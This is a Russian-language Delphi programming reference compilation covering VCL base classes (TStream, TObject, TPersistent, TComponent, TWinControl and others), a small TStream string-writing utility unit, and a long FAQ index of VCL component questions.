function Find(const S: string; var Index: Integer): Boolean; Метод ищет в наборе строку S и в случае успеха возвращает результат True, а в параметре Index — ее индекс.

property Sorted: Boolean; Свойство — признак отсортированности элементов (сортировка осуществляется через посимвольное сравнение строк). Установка Sort := True вызывает процедуру сортировки, которую можно вызвать и явно при помощи метода:

procedure Sort; Попытка добавить или вставить элемент в отсортированный список вызывает исключительную ситуацию EListError; в этом случае до выполнения действия свойству Sorted нужно присвоить значение False.

property Duplicates: TDuplicates; TDuplicates = (duplgnore, dupAccept, dupError); Свойство определяет, что происходит при попытке добавить в список дубликат уже имеющейся строки: duplgnore — добавление игнорируется (отклоняется); dupError — добавление приводит к созданию исключительной ситуации EListError; dupAccept — одинаковые строки разрешены. В этом случае при поиске в неотсортированном списке не определено, которая из строк будет найдена первой.

property OnChange: TNotifyEvent; property OnChanging: TNotifyEvent; Два свойства, предусмотренные для определения пользователем своей реакции на изменение данных. Событие OnChanging вызывается во многих рассмотренных выше методах до внесения первого изменения, OnChange — после последнего.


TStream

Класс TStream не нов для библиотек фирмы Borland; он и его потомки называются потоками. Со времен появления в библиотеке Turbo Vision он не претерпел существенных изменений, но теперь потоки стали обязательными составными частями там, где нужно прочитать или передать во внешний источник какую-либо информацию.
TStream "является абстрактной моделью совокупности данных, обладающей двумя свойствами — длиной Size и положением текущего элемента Position:

property Position: Longint;

property Size: Longint;

От TStream порождены дочерние объекты, позволяющие пользоваться метафорой потока при работе с файлами, блоками памяти и т. п. Так, в модуле CLASSES описаны классы TMemoryStream и TFileStream.
Данные потока можно читать или записывать, используя предоставляемый буфер, или копировать из другого потока. Эта возможность реализована методами:

function Read(var Buffer; Count: Longint): Longint;virtual; abstract;

function Writetconst Buffer; Count: Longint): Longint;virtual; abstract;

Метод
function Seek(0ffset: Longint; Origin: Word): Longint;virtual; abstract;

позиционирует поток. В зависимости от значения параметра Origin новая позиция выбирается так:
О — новая позиция равна Offset;
1 —текущая позиция смещается на Offset байт;
2 — новая позиция находится на Offset байт от конца потока.

Методы
procedure ReadBuffer(var Buffer; Count: Longint);
procedure WriteBuffer(const Buffer; Count: Longint);
представляют собой оболочки над Read/Write, вызывающие в случае неудачи операции исключительные ситуации EReadError/EWriteError.

Метод
function CopyFromfSource: TStream; Count: Longint): Longint;
дописывает к потоку Count байт из потока Source, начиная с его текущей позиции. Если значение Count равно нулю, то дописывается весь поток Source с его начала.
Основным отличием реализации TStream в VCL является введение ряда методов, обеспечивающих чтение и запись компонентов в потоки. Они полезны на уровне разработчика новых компонентов и здесь подробно не рассматриваются:

function ReadComponent(Instance: TComponent): TComponent;
function ReadComponentRes(Instance: TComponent): TComponent;
procedure WriteComponent(Instance: TComponent);
procedure WriteComponentRes (const ResName: string;Instance: TComponent);
procedure ReadResHeader;


Несколько функций для TStream

Оформил: DeeCo
Автор: http://www.swissdelphicenter.ch

{
These are three utility functions to write strings to a TStream.
Nothing fancy, but I just ended up coding this repeatedly so
I made these functions. }

{
Hier sind einige TStreaam Hilfsfunktionen um strings
in einen TStream zu schreiben.
}

unit ClassUtils;

interface

uses
  SysUtils,
  Classes;

{: Write a string to the stream
  @param Stream is the TStream to write to.
  @param s is the string to write
  @returns the number of bytes written. }
function Writestring(_Stream: TStream; const _s: string): Integer;

{: Write a string to the stream appending CRLF
  @param Stream is the TStream to write to.
  @param s is the string to write
  @returns the number of bytes written. }
function WritestringLn(_Stream: TStream; const _s: string): Integer;

{: Write formatted data to the stream appending CRLF
  @param Stream is the TStream to write to.
  @param Format is a format string as used in sysutils.format
  @param Args is an array of const as used in sysutils.format
  @returns the number of bytes written. }
function WriteFmtLn(_Stream: TStream; const _Format: string;
  _Args: array of const): Integer;

implementation

function Writestring(_Stream: TStream; const _s: string): Integer;
begin
  Result := _Stream.Write(PChar(_s)^, Length(_s));
end;

function WritestringLn(_Stream: TStream; const _s: string): Integer;
begin
  Result := Writestring(_Stream, _s);
  Result := Result + Writestring(_Stream, #13#10);
end;

function WriteFmtLn(_Stream: TStream; const _Format: string;
  _Args: array of const): Integer;
begin
  Result := WritestringLn(_Stream, Format(_Format, _Args));
end;
Взято с Vingrad.ru http://forum.vingrad.ru


TObject

Класс TObject

Класс TObject является родоначальником всей иерархии использующихся в Delphi классов VCL. Он реализует функции, которые обязательно будет выполнять любой объект, который может быть создан в среде разработки. Учитывая гигантское разнообразие возможных областей применения объектов в процессе создания приложений, можно сказать, что круг общих для всех классов операций весьма невелик.

В первую очередь — это создание экземпляра объекта и его уничтожение. Любой объект выполняет эти две операции в обязательном порядке. Процесс создания объекта включает выделение области адресного пространства, установку указателя на экземпляр объекта, задание начальных значений свойств и выполнение установочных действий, связанных с назначением объекта. В общем случае две последние операции могут не выполняться.

Указатель на экземпляр объекта передается в переменную объектного типа, которая в дальнейшем будет идентифицировать объект в программном коде приложения. В приведенном выше фрагменте кода переменная объектного типа someList объявлена как экземпляр типа TStrings. При создании экземпляра этого типа конструктор Create возвращает в переменную SomeList указатель на выделенную для нового объекта область памяти. Для этого применяется метод Newinstance, который вызывается в конструкторе автоматически:

class function Newinstance: TObject; virtual;

Объект класса TObject обеспечивает выполнение этого процесса для любого порожденного от него объекта. А уже внутри конструктора, который унаследован от класса TObject, можно предусмотреть инициализацию переменных и выполнение дополнительных операций. Объявление конструктора выглядит следующим образом:

constructor Create;

В конструкторах потомков это объявление может перекрываться, но при необходимости вызвать конструктор предка используется оператор inherited:

constructor TSomeObject.Create;
begin
inherited Create;
...
end;

Для уничтожения экземпляра объекта в классе TObject предназначены методы Destroy и Free:

destructor Destroy; virtual;
procedure Free;

Как видно из объявления, настоящим деструктором является метод Destroy. Он обеспечивает освобождение всех занимаемых экземпляром объекта ресурсов. Обычно при создании новых классов деструктор всегда перекрывается для того, чтобы корректно завершить работу с данными.

Примечание

Обратите внимание, что обычно унаследованный конструктор вызывается в первую очередь. Это необходимо для того, чтобы выполнить все нужные операции при создании объекта до инициализации его собственных свойств. При уничтожении объекта обычно сначала выполняются завершающие операции и только в самом конце вызывается унаследованный деструктор, чтобы выполнить собственно уничтожение объекта.

При уничтожении объектов рекомендуется вместо деструктора использовать метод Free, который просто вызывает деструктор, но перед этим проверяет, чтобы указатель на экземпляр объекта был не пустым (не был равен Nil). Это позволяет избежать серьезных ошибок.

Если объект является владельцем других объектов (например, форма владеет всеми размещенными на ней компонентами), то его метод Free автоматически вызовет эти же методы для всех объектов. Поэтому при закрытии формы разработчик избавлен от необходимости заботиться об уничтожении всех компонентов.

Для освобождения занимаемой объектом памяти деструктор автоматически Вызывает метод Freelnstance:

procedure Freelnstance; virtual;

Каждый объект должен содержать некоторую информацию о себе, которая используется приложением и средой разработки. Поэтому класс TObject содержит ряд методов, обеспечивающих представление этой информации в потомках.

class function Classlnfo: Pointer;

возвращает указатель на таблицу информации времени выполнения (RTTI). Эта информация используется в среде разработки и в приложении.

class function ClassName: ShortString;

возвращает имя типа объекта, которое может быть использовано для идентификации. Например, один метод-обработчик щелчка на кнопке может работать с несколькими типами компонентов кнопок:

procedure TForml.BitBtnlClick(Sender: TObject);
begin
  if Sender is TBitBtn then TBitBtn(Sender).Enabled := False;
  if Sender is TSpeedButton then TSpeedButton(Sender).Down := True;
end;

Метод

class function ClassNamels(const Name: string): Boolean;

позволяет определить, является ли данный объект того типа, имя которого передано в параметре Name. В случае положительного ответа функция возвращает True.

Как известно, программирование для Windows основано на событиях. Каждое приложение и каждый программный объект должны уметь реагировать на сообщение о событиях и, в свою очередь, рассылать сообщения. В выполнении этих операций заключается третья общая для всех объектов функция.

Метод

procedure Dispatch(var Message); virtual;

осуществляет обработку сообщений, поступающих объекту. Он определяет, сможет ли объект обработать сообщение при помощи собственных обработчиков событий. В случае отсутствия таких методов сообщение передается аналогичному методу Dispatch класса-предка (если он есть).

Класс TObject имеет предопределенный обработчик событий:

procedure DefaultHandler(var Message); virtual;

Кроме рассмотренных здесь методов, класс TObject имеет еще несколько методов, которые в основном применяются для взаимодействия объекта со средой разработки.

В целом класс TObject может служить для создания на его основе некоторых простых классов для использования в приложениях.


TPersistent

"Persistent" в переводе с английского означает "устойчивый", "постоянный". Что же такого постоянного в одноименном классе? Ответ таков: виртуальный метод

procedure Assign(Source: TPersistent);

Этот важнейший метод осуществляет копирование содержимого одного объекта (source) в другой (self, т. е. в объект, вызвавший метод Assign). При этом объект-получатель остается самим собой, чего нельзя достигнуть, используя простое присваивание переменных объектного типа:

FirstObject := SecondObject;

Ведь в этом случае указатель на одну область адресного пространства, содержащую экземпляр класса (объект), замещается указателем на другую область адресного пространства, содержащую другой объект.

Метод Assign позволяет продублировать объект — присвоить одному объекту значения всех свойств другого. При этом объекты не обязательно должны быть одного и того же класса; более того, они не обязательно должны находиться в отношениях "родитель-потомок". Данный метод тем и хорош, что позволяет полиморфное присвоение. Конструкция

Clipboard.Assign(Picture);

позволяет скопировать содержимое картинки Picture в папку обмена Windows (объект clipboard). Какова здесь логика? Известно, что в папку обмена можно поместить растровую картинку, текст, метафайл, мультимедийные данные и т. п. Метод Assign класса TClipboard переписан таким образом, чтобы обеспечить присвоение (т. е. реальное перемещение в папку обмена) всех этих данных.

procedure TCiipboard.Assign(Source: TPersistent);
begin
  if Source is TPicture then
    AssignPicture(TPicture(Source))
  else
    if Source is TGraphic then
      AssignGraphic(TGraphic(Source))
    else
      inherited Assign(Source);
end;

Для обеспечения взаимодействия потомков класса TPersistent со средой разработки предназначен метод

function GetNamePath: string; dynamic;

Он возвращает имя объекта для передачи его в Инспектор объектов.

Для взаимодействия с потоками при загрузке и сохранении компонентов предназначен следующий метод:

procedure DefineProperties(Filer: TFiler); virtual;

Класс TPersistent никогда не используется напрямую, от него порождаются потомки, которые должны уметь передавать другим объектам значения своих свойств, но не являться при этом компонентами.


TComponent

Класс TComponent является предком всех компонентов VCL. Он используется в качестве основы для создания невизуальных компонентов и реализует основные механизмы, которые обеспечивают функционирование любого компонента. В нем появляются первые свойства, которые отображаются в Инспекторе объектов. Это свойство

property Name: TComponentName;

Оно содержит имя экземпляра компонента, которое используется для идентификации компонента в приложении.

Примечание

Тип TComponentName представляет собой обычную строку:

type TComponentName = type string;

Свойство

property Tag: Longint;

является вспомогательным и не влияет на работу компонента. Оно отдано на откуп разработчику, который может присваивать ему значения по своему усмотрению. Например, это свойство можно использовать для дополнительной, более удобной идентификации компонентов.

Для компонентов существует своя иерархия, поэтому в классе введен механизм учета и управления компонентами, для которых данный компонент является владельцем. Свойства и методы, которые отвечают за управление, приведены в табл. 2.1.

Таблица 2.1. Свойства и методы для управления списком компонентов

Свойство (метод)
Описание

property Components [Index: Integer]: TComponent ;
Содержит индексированный список указателей всех компонентов, для которых данный компонент является владельцем (owner)

property ComponentCount : Integer;
Число подчиненных компонентов

property Owner: TComponent;
Указывается, какой компонент является владельцем данного

property Componentlndex: Integer;
Индекс данного компонента в списке владельца

procedure InsertComponent (AComponent : TComponent) ;
Вставляет компонент AComponent в список

procedure RemoveComponent (AComponent : TComponent};
Удаляет компонент AComponent из списка

procedure FindComponent (AName: string): TComponent;
Осуществляет поиск компонента по имени AName

procedure DestroyComponents;
Предназначен для уничтожения всех компонентов, подчиненных данному

Очень важное свойство

type TComponentState = set of (csLoading, csReading, csWriting, csDestroying, csDesigning, csAncestor, csllpdating, csFixups, csFreeNotification, cslnline, csDesignlnstance); property ComponentState: TComponentState;

дает представление о текущем состоянии компонента. В табл. 2.2 описаны возможные состояния компонента. Состояние может измениться в результате получения компонентом некоторого сообщения, действий разработчика, выполнения акции и т. д. Это свойство активно используется средой разработки.

Таблица 2.2. Возможные состояния компонента

csLoading
Устанавливается при загрузке компонента из потока

csReading
Устанавливается при чтении значений свойств из потока

csWriting
Устанавливается при записи значений свойств в поток

csDestroying
Устанавливается при уничтожении компонента

csDesigning
Состояние разработки. Устанавливается при работе с формой во время разработки

csAncestor
Устанавливается при переносе компонента на форму. Для перехода в это состояние должно быть уже установлено состояние csDesigning

csUpdating
Устанавливается при изменении значений свойств и отображения результата на форме-владельце. Для перехода в это состояние должно быть уже установлено состояние csAncestor

CsFixups
Устанавливается, если компонент связан с компонентом другой формы, которая еще не загружена в среду разработки

csFreeNotification
Если это состояние устанавливается, другие компоненты, связанные с данным, уведомляются о его уничтожении

cslnline
Определяет компонент верхнего уровня в иерархии. Используется для обозначения корневого объекта в разворачивающихся свойствах

csDesignlnstance
Определяет корневой компонент на этапе разработки

Для обеспечения работы механизма действий (см. гл. 8) предназначен

метод

function ExecuteAction(Action: TBasicAction): Boolean; dynamic;

Он вызывается автоматически при необходимости выполнить акцию, предназначенную для данного компонента.

На уровне класса TComponent обеспечена поддержка СОМ-интерфейсов IUnknown и IDispatch.

Через свойство

property ComObject: IUnknown;

вы можете обеспечить применение методов этих интерфейсов.

Таким образом, класс TComponent имеет все для использования в качестве предка, для создания собственных невизуальных компонентов.


TControl

Класс TControi является базовым для всех визуальных компонентов и инкапсулирует механизмы отображения компонента на экране. В нем используется множество новых свойств и методов. Недаром в Delphi в Инспекторе объектов появилась категоризация методов и свойств (рис. 2.2). Большинство из них вводятся как раз в классах TControl и TWinControl.


TWinControl

Класс TWinControl обеспечивает создание и использование оконных элементов управления (см. выше). Напомним, что оконный элемент управления имеет системный дескриптор окна hwnd. Однако оконными элементами являются не только формы и диалоги, но и большинство стандартных элементов управления.

Новые механизмы, инкапсулированные в классе, обеспечивают выполнение характерных для оконных элементов функций: прием и передачу фокуса, отклик на действия мышью и ввод с клавиатуры и т. д. Рассмотрим основные свойства и методы класса.

Дескриптор окна содержится в свойстве

property Handle: HWND;

При создании оконного элемента управления вызывается метод

procedure CreateParams(var Params: TCreateParams); virtual;

который заполняет структуру TCreateParams необходимыми значениями:

type
TCreateParams = record
  Caption: PChar;
  Style: DWORD;
  ExStyle: DWORD;
  X, Y: Integer;
  Width, Height: Integer;
  WndParent: HWND;
  Param: Pointer
  WindowClass: TWndClass;
  WinClassName: array[0..63] of Char;
end;

Для создания дескриптора окна для элемента управления используется метод

procedure CreateHandle; virtual;

Операционная система создает дескриптор окна только вместе с самим окном. Поэтому метод CreateHandle только создает окно, а для присваивания свойству Handle значения дескриптора окна вызывает метод createwnd.

Для передачи фокуса между элементами управления на одной форме часто используется клавиша <Таb>. Порядок перемещения фокуса между элементами определяется свойством

type TTabOrder = -1..32767;
property TabOrder: TTabOrder;

В первую очередь фокус передается компоненту с минимальным значением свойства. Далее — по возрастанию значения. При переносе компонента на форму это значение задается автоматически в соответствии с числом компонентов на форме.

Компонент можно заставить не откликаться на клавишу <Таb>. Для этого свойству

property TabStop: Boolean;

необходимо присвоить значение False.

Для передачи фокуса прямо элементу управления применяется метод

procedure SetFocus; virtual;

Чтобы узнать, имеет ли элемент управления фокус, в настоящее время используется метод

function Focused: Boolean; dynamic;

Все оконные элементы имеют рамку по контуру (впрочем, она может быть не видна). Ее параметры задаются группой свойств:

property BevelEdges: TBevelEdges;
задает, какие стороны входят в рамку;

property Bevellnner: TBevelCut; property BevelOuter: TBevelCut;
задают внешний вид рамки;

property BevelKind: TBevelKind;
определяет стиль рамки;

property BevelWidth: TBevelWidth;
задает размер рамки.

Свойство

property Brush: TBrush;

определяет параметры кисти (цвет и заполнение), которой рисуется фон элемента.

Оконный элемент может содержать другие компоненты. Для управления ими применяется индексированный список указателей, представляющих свойство

property Controls[Index: Integer]: TControl;

Общее число дочерних элементов управления содержится в свойстве

property ControlCount: Integer;

Внешний вид оконного элемента определяется свойством

property Ctl3D: Boolean

При значении True элемент управления имеет трехмерный вид. Иначе элемент выглядит плоским.

Для вызова темы контекстной помощи для конкретного элемента управления предназначено свойство

type THelpContext = -MaxLonglnt..MaxLonglnt;

property HelpContext: THelpContext;

Значение свойства должно соответствовать номеру темы в файле помощи.

В классе TwinControl добавлена возможность использования редакторов способа ввода (Input Method Editor, IME). Такие редакторы позволяют приспособить стандартную раскладку клавиатуры для символьных языков для ввода нестандартных символов (иероглифов и т. д.). Редакторы IMЕ представляют собой специально устанавливаемое в операционной системе программное обеспечение (ПО). Имя такого редактора задается в свойстве ImeName. Режим работы редактора определяется свойством ImeMode.

В классе TwinControl добавлено еще несколько методов-обработчиков событий, обеспечивающих реакцию на ввод с клавиатуры, получение и потерю фокуса.


TCustomControl

Класс TCustomControl предназначен для создания на его основе нестандартных оконных элементов управления. Процесс визуализации в нем упрощен за счет использования специального класса TCanvas, инкапсулирующего канву (см. гл. 11).

Доступ к канве осуществляется через свойство

property Canvas: TCanvas;

Отрисовка элемента управления осуществляется методом

procedure PaintWindowfDC: HDC); override;

после получения сообщения WM_PAINT.

Возможности этого класса унаследовали классы TPanel, TGroupBox, TStringGrid и т. д.


TGraphicControl

Класс TGraphicControl предназначен для создания на его основе визуальных компонентов, не получающих фокус в процессе выполнения приложения. Так как непосредственным предком класса является класс TControl, то потомки TGraphicControl умеют реагировать на управляющие воздействия мышью.

Наглядный пример элемента управления, которому не нужно получать фокус, — это компонент TLabel, предназначенный для отображения текста, или компонент Timage, предназначенный для визуализации изображений.

Для визуализации элементов управления на основе этого класса используется канва, инкапсулированная в классе TCanvas.

Доступ к канве осуществляется через свойство

property Canvas: TCanvas;

Отрисовка элемента управления осуществляется методом

procedure PaintWindow(DC: HDC); override;

после получения сообщения WM_PAINT.


VCL

Cодержание раздела:

Общие вопросы
· Как заставить приложение показывать различные иконки при различных разрешениях дисплея?
· Процедуры и функции RxLib
· Как сделать, чтобы компоненты отбрасывали тень?
· Как создать каретку свой собственной формы?
· Как разделить обработку OnClick и OnDblClick? Ведь OnClick будет вызываться всегда, и перед DblClick.
· Как добавить событие OnMouseLeave?
· Иерархия классов
· Помещение VCL компонентов в область заголовка
· Как различаются между собой Paint-события: Invalidate, Update и Refresh?
· Можно ли как-то уменьшить мерцание при перерисовке компонента?
· Delphi 7 and FastNet Components
· Как правильно работать с прозрачными окнами?
· Как установить компонент от другой версии, если имеется только .DCU файл? New!
· Как убрать публичное свойство компонента New!

Неявное обращение к компонентам, манипуляции в run-time
· Перебор всех компонентов на форме
· Как найти компонент по имени?
· Групповые опперации с контролами
· Как создать контрол в Run-Time?
· Обращение через свойство Controls

Реакция компонентов на клавиатуру
· Как заблокировать реакцию на клавиатуру компонента?
· Как работать с ssShift и TShiftState?
· Имитация Tab

Перетаскивание объектов, Drag and Drop, Docking
· Как перетаскивать файлы?
· Примеры использования Drag and Drop для различных визуальных компонентов
· Как пpинимать яpлыки пpи пеpетягивании их на контpол
· Перестроить вкладки TPageControl с помощью Drag and Drop
· Как перетаскивать (Drag and Drop) выделенный текст между компонентами Memo?
· Как перетаскивать компоненты в Run-Time?

Вставка одних компонентов в другие
· Как поместить ProgressBar в панель StatusBar?
· Как поместить TCheckBox внутри TRichEdit?
· Как добавить TCheckBox в TStringGrid?
· Как поместить ComboBox в ячейку StringGrid?
· Помещение компонентов в StringGrid
· Помещение компонентов в DBGrid
· Как сделать pop-up Combobox по позиции курсора в Memo?

Элементы управления Windows XP New!
· Пользовательский интерфейс Windows XP New!
· Манифест Windows XP New!
· Компонент TXPManifest New!
· Включение манифеста Windows XP в ресурсы приложения New!
· Визуальные стили и темы оформления New!
· Визуальные стили в Delphi New!
· Theme API New!
· Компоненты настройки цветовой палитры New!

TApplication
· Работа с TApplication
· Восстановление минимизированного приложения
· Как поместить окно програмы поверх всех?
· Как скрыть своё приложение?
· Как приложение оставить свёрнутым в иконку?

TForm
· Общие вопросы (раздел)
· Создание, закрытие и вызов форм (раздел)
· Прозрачность формы (раздел)
· Прячем форму Формы нестандартного вида (раздел)
· Манипуляции с заголовком формы (раздел)
· MDI приложения (раздел)
· Перемещение формы (раздел)

TStatusBar
· Как вывести цветной текст в TStatusBar?
· StatusBar с другими контролами
· Показ даты, времени и состояния клавиш в строке состояния New!

TProgressBar
· Как изменить стандартный цвет ProgressBar?

TEdit
· Как сделать выравнивание по правому краю в TEdit?
· Отслеживаем позицию курсора в EditBox.
· Элемент управления Edit, реагирующий на событие OnTimer.
· Как заставить TEdit не пикать при нажатии недопустимых клавиш?
· Как автоматически расширить TEdit?
· Как очистить все окошки редактирования на форме?
· Как сделать, чтобы TEdit воспринимал одни цифры и DecimalSeparator?
· Как перехватить клавишу табуляции (Tab) в TEdit?
· Как узнать физические координаты каретки в пикселях?
· Как ограничить длинну вводимого текста шириной TEdit'а?

TMemo
· Как сделать Memo с закруглёнными краями?
· Как програмно прокрутить Memo?
· Как переместить каретку TMemo в нужную строку?
· Как получить координаты курсора в memo-поле?
· Как сделать отступ в Memo?
· Как вставить содержимое файла в текущую позицию TMemo?
· Как перехватить Ctrl-V в компоненте TMemo?
· Как настроить табуляцию в компоненте TMemo?
· Как нарисовать что-нибудь на TMemo?
· Как загрузить юникоды в мемо?
· Как узнать количество видимых строчек в TMemo?
· Дельфи компонент для подкраски синтаксиса
· Режим замены

TRichEdit
· Как поместить данные в RichEdit контрол?
· Как вставить картинку в RichEdit?
· Как менять шрифт в RichEdit горячими клавишами?
· Как получить определённую часть текста из RichEdit?
· Как прокрутить TRichEdit в конец?
· Установка каретки в RichEdit
· Как скопировать содержимое одного RichEdit в другой?
· Позиция курсора в TRichEdit
· Как из RXRichEdit сохранить в RTF формате?
· Как копировать RTF текст в буффер обмена?
· Как использовать верхние и нижние индексы?
· Как указать максимальный размер текста для RichEdit Control?
· How to render a TRichEdit text onto a canvas? New!
· Как выделить URL в TRichEdit? New!
· Подсветка синтаксиса New!

TLabel
· Как таскать форму за метку?
· Как переделать TLabel в URL?
· Как отобразить hint в TLabel?
· Как осуществить ввод текста в компоненте Label?

Panel, ToolBar, CoolBar
· Как сделать ToolBar как в среде Delphi с возможностью вытаскивания кнопок?
· Как поместить прозрачную фоновую каринку на компонент CoolBar?

StringGrid
· Как удалить строку в StringGrid в run-time?
· Цветные ячейки в StringGrid / DBGrid?
· Как снять выделение в StringGrid?
· Символы разного цвета в StringGrid
· Сортировка столбцов в StringGrid
· Удаление колонки в StringGrid
· Добавление колонки в StringGrid
· Как перемещать строки и колонки в StringGrid?
· Изменение размеров колонок в StringGrid
· Многострочные ячейки в StringGrid.
· Как сделать различные подсказки для каждой ячейки в StringGrid?
· Как перехватывать горячие клавиши в StringGrid?
· Автоматическая ширина колонок в TStringGrid
· Можно ли обратиться к колонке или строке grid'а по заголовку?

TreeView, ListView
· Сортировка ListView при нажатии на заголовок
· Как открыть первую ветвь TreeView?
· Как связать TreeView и PageControl?
· Как поместить картинку в заголовок TListView?
· Как узнать, по какой колонке был клик в TListView?
· Virtual ListView с контекстным меню
· Как получить строковый путь узла TTreeView
· Как копировать и вставлять TreeNode
· Прокрутка TreeView, чтобы держать выделение посередине
· Ускорение работы TreeView

ListBox, CheckListBox, DBLookUp, Другие списки
· Как изменить фоновый цвет текста в различных строчках TListBox?
· Печать содержимого TMemo или TListbox.
· TCheckListBox: использование методов LoadFromFile/SaveToFile
· Компонент FontListBox
· Как добавить горизонтальную полосу прокрутки (scrollbar) в TListBox?
· Как перетащить целую колонку из Stringgrid в Listbox?
· Как добавлять колонки в обычный Listbox (TListbox)?
· Как вставить растровое изображение в компонент ListBox? Updated!
· Как присвоить значение свойству selected в ListBox?
· Как в ListBox нарисовать Item своим цветом?
· Как принимать перетаскиваемые файлы из проводника?
· Как осуществить быстрый поиск в Listbox?
· Как создать поле Lookup во время выполнения приложения?
· Можно ли изменить число колонок и их ширину в компоненте TFileListBox?
· Как сделать картинки из TImageList прозрачными?
· Как выводить элементы списка разными шрифтами New!
· Инкрементальный поиск в ListBox New!
· Показ in-place подсказки в TListBox и других компонентах New!
· Табуляция в графическом ListBox New!
· Уменьшение мерцания ListBox в обработчике OwnerDraw New!

ComboBox, DBComboBox
· Как можно отменить реакию ComboBox на F4?
· TComboBox.ReadOnly
· Несколько колонок в TComboBox
· Как опеделить состояние списка ComboBox, выпал/скрыт?
· Как получить размер развёрнутого TComboBox?
· Как поместить картинки в Combo Box?

PageControl, TabControl, Notebook
· Как использовать клавишу-акселератор в TTabsheets?
· Динамические создание объектов в TabbedNotebook
· Недоступная закладка в компоненте TabbedNotebook
· Доступ к страницам Tabbednotebook
· Над какой закладкой курсор в TabControl?
· Как получить число и список всех компонентов, расположенных на TNoteBook?

Action, ActionList
· Как в run-time Action добавить в ActionList?

Диалоги
· Как работать с FileOpenDialog и FileSaveDialоg?
· TOpenDialog, TSaveDialog, TOpenPictureDialog и TSavePictureDialog
· Добавляем компонент в стандартный Message dialog.
· Как вывести окно свойств компьютеpа?
· Как показать Open With диалог?
· Как показать File Properties dialog?
· Как показать Choose Computer диалог?
· Как открыть диалог создания ярлыка?
· Как открыть диалог Add printer?
· Как открыть диалог свойств аудио?
· Как открыть диалог смены системного времени?
· Using the Shell API function SHBrowseForFolder
· Получить картинки из MessageDlg
· Как вывести диалог Обзор папок New!
· File List View in File Dialogs New!
· Манипулирование кнопками OpenDialog New!
· Показать Run диалог New!
· Показать Choose Domain диалог? New!
· Как вызвать Shutdown Windows dialog? New!
· Диалог подключения сетевого диска New!
· Использование InputBox и InputQuery New!

Прокрутка, ScrollBox
· Как убрать HSCROLL у DBGRID?
· Как перехватить сообщения скроллирования в TScrollBox?
· Как сделать плавную прокрутку?
· Синхронизация двух компонентов ScrollBox
· Ползунок компонента TScrollBar все время мигает. Как это отключить?

Button, SpeedButton, BitBtn
· Как програмно нажать SpeedButton?
· Расширяем возможности кнопок в Delphi.
· Автоматически нажимающаяся кнопка
· Кнопка со звуком
· Кнопка или пункт меню выполняет другую функцию при нажатой кнопке shift
· Как изменить цвет TButton?
· Как сделать многострочную надпись на TBitBtn?
· Если прозрачная часть glyph'а становится видной...
· Можно ли использовать иконку как картинку на кнопке TSpeedButton?
· Пример компонента типа XPButton New!

Image, Icon, Shape, PainBox
· Каким образом задать прозрачный цвет иконки?
· Как сохранить содержимое TPaintBox в BMP
· Если отображается только часть TImage
· Сохранить TImagelist в файл со всем содержимым New!
· Перемещение Image New!
· Хитрость вывода изображения New!

Checkbox
· Видоизменяем чекбоксы в Delphi

Hints
· Показываем всплывающие подсказки в различных панелях StatusBar
· Как поместить иконку в окошко подсказки?
· Как заставить появиться окошко подсказки когда курсор мышки находится над определённым контролом?
· Хинт любой формы
· Как сделать balloon tooltips?
· Как сделать графический hint?
· Как изменить шрифт hint?
· Как получить эффект тени для hint?
· Использование обработчика OnHint при наличии нескольких форм
· Ярлычки и оперативная подсказка New!
· Как делать переносы в Hint New!
· Как выводить hint при движении мыши над списком New!
· Hint в выпадающем списке ComboBox New!

Menu
· Работа с System Menu
· Добавляем пункты в системное меню Windows
· Пишем свой текст в Меню
· Как сделать пункты меню с картинками?
· Как поместить маленькие битмапы в TPopUpMenu?
· Более быстрый способ добавлять пункты меню
· Как программно заставить выпасть меню?
· Как узнать о нажатии non-menu клавиши в момент когда меню показано?
· Как сделать меню как в Дельфи?
· Как поместить TMenuItem справа у формы?
· Как рисовать картинки в пунктах меню?
· Как узнать статус меню? New!
· Элементы меню на основе изображений New!
· Иконки в PopupMenu New!
· Как показать подсказки Hints для элементов меню New!

MediaPlayer
· AVI файл проигрывается снова и снова

RadioGroup, RadioButton
· Можно ли отключить определенный элемент в RadioGroup?
· Поведение TAB в компоненте RadioGroup
· Как заставить GroupBox прорисовать на форме свой Caption неактивным цветом? New!

TrackBar
· Как бы мне создать эдакий trackbar в котором вместо широкой белой полоски с ползунком была бы тонкая линия?

Другие компоненты
· Как использовать ChartFX?
· Как удалить сегодняшнюю дату из TDateTimePicker? New!
· Как использовать IP Address Control у себя? New!
· Что такое фреймы? New!
· Пример компонента HotSpot New!

См. также другие разделы:
Объектное ориентирование
Работа с TTable, TQuery и TDatabase

См. также статьи в других разделах:
компонент TStoredProc


Общие вопросы

Cодержание раздела:

Как заставить приложение показывать различные иконки при различных разрешениях дисплея?
Процедуры и функции RxLib
Как сделать, чтобы компоненты отбрасывали тень?
Как создать каретку свой собственной формы?
Как разделить обработку OnClick и OnDblClick? Ведь OnClick будет вызываться всегда, и перед DblClick.
Как добавить событие OnMouseLeave?
Иерархия классов
Помещение VCL компонентов в область заголовка
Как различаются между собой Paint-события: Invalidate, Update и Refresh?
Можно ли как-то уменьшить мерцание при перерисовке компонента?
Delphi 7 and FastNet Components
Как правильно работать с прозрачными окнами?
Как установить компонент от другой версии, если имеется только .DCU файл? New!
Как убрать публичное свойство компонента New!

См. также другие разделы:
Объектное ориентирование


Как заставить приложение показывать различные иконки при различных разрешениях дисплея?

Для этого достаточно текущее разрешение экрана и в соответствии с ним изменить дескриптор иконки приложения. Естевственно, что Вам прийдётся создать в ресурсах новые иконки.

Поместите следующий код в файл проекта (.DPR) Вашего приложения:

Application.Initialize;
Application.CreateForm(TForm1, Form1);
case GetDeviceCaps(GetDC(Form1.Handle), HORZRES) of
  640: Application.Icon.Handle := LoadIcon(hInstance, 'ICON640');
  800: Application.Icon.Handle := LoadIcon(hInstance, 'ICON800');
  1024: Application.Icon.Handle := LoadIcon(hInstance, 'ICON1024');
  1280: Application.Icon.Handle := LoadIcon(hInstance, 'ICON1280');
end;
Application.Run;

Взято из http://forum.sources.ru


Процедуры и функции RxLib

Процедуры и функции RX_lib

AppUtils unit:

AppBroadcast - Функция посылает сообщение Msg всем формам приложения.
FindForm - Функция перебирает формы приложения, проверяя для каждой из них, является ли она экземпляром класса FormClass
FindShowForm - Функция перебирает формы приложения, проверяя для каждой из них, является ли она экземпляром класса FormClass
GetDefaultIniName - Функция возвращает имя INI-файла "по умолчанию" для приложения.
GetDefaultIniRegKey - Функция возвращает имя ключа регистрационной базы данных Windows (Registry) "по умолчанию" для приложения
GetDefaultSection - Функция возвращает строку для указанной компоненты Component,
GetUniqueFileNameInDir - Возвращает уникальное для заданного каталога имя файла, InstantiateForm- функция создает экземпляр формы типа FormClass
